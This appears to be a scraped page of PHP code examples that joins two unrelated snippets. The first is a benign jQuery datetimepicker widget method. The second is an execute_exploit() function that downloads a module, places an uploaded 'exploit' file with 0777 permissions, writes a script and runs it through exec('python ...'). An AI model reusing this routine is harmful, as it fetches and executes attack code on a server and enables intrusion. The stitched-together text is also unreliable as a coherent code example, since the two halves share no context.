Beispiel #1
0
 function run()
 {
     $this->params['dateFormat'] = "yy-mm-dd";
     if ($this->params) {
         $opts = CJavaScript::encode($this->params);
     }
     $base = publish(dirname(__FILE__) . '/assets');
     core_script('jquery');
     core_script('jquery.ui');
     css($base . '/css.css');
     script($base . '/jquery-ui-timepicker-addon.js');
     css(core_script_url() . '/jui/css/base/jquery-ui.css');
     if (!$this->tag) {
         return;
     }
     write_script('datepicker_' . $this->tag, " \n \t\t\t\$('" . $this->tag . "').datetimepicker({$opts}); \n \t\t");
 }
function execute_exploit($exp, $scr_e, $pex, $pex_path, $psc_path)
{
    if (download_module($pex, $pex_path)) {
        move_uploaded_file($_FILES["exploit"]["tmp_name"], $exp);
        chmod($exp, 0777);
        if (write_script($scr_e, $psc_path)) {
            exec("python " . $psc_path, $output);
            format_output($output);
        } else {
            echo "Script '{$psc_path}' wasn't successfully written or not accessible.\nTry creating it manually.";
        }
    } else {
        echo "Failed to download the module.\nDownload it from {$pex} and create it manually here {$pex_path}";
    }
}